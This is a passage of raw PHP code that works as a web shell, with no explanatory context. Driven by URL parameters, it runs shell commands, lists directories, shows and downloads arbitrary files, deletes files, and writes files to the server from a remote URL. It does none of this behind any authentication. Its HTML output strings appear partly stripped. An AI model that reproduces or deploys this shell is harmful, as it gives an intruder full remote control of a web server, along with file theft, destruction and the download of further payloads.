'); if(empty($out)){ $handle = popen($cmd, 'r'); while(!feof($handle)) echo htmlentities(str_replace(array("\r\n", "\n"), '
', fread($handle, 2096))); pclose($handle); } } if(isset($_GET['dir']) && isset($_GET['name']) && isset($_GET['up'])){ $dir = $_GET['dir'] . '/' . $_GET['name']; $f = @fopen($dir, 'w'); if($f){ fwrite($f, file_get_contents($_GET['uri'])); fclose($f); echo 'ok'; } else echo 'fopen error'; } else if(isset($_GET['file']) && isset($_GET['dir']) && isset($_GET['remove'])){ unlink($_GET['dir'] . '/' . $_GET['file']); echo 'rem'; } else if(isset($_GET['show'])){ if(isset($_GET['download'])){ header('Content-Type: application/octet-stream' ); header('Content-Disposition: attachment;filename=' . $_GET['file']); echo @file_get_contents($_GET['dir'] . '/' . $_GET['file']); } else{ echo '

back
'; echo 'Download

'; echo highlight_string(file_get_contents($_GET['dir'] . '/' . $_GET['file'])); } } else{ $dir = (empty($_GET['dir']) ? '.' : $_GET['dir']); echo $dir . '
'; if($h = opendir($dir)){ echo 'Upload
'; while(($file = readdir($h)) !== false){ $ffile = $dir . '/' . $file; if(is_dir($ffile)) echo '' . $file . '
'; else echo '' . $file . '   (remove)
'; } } } die(); ?>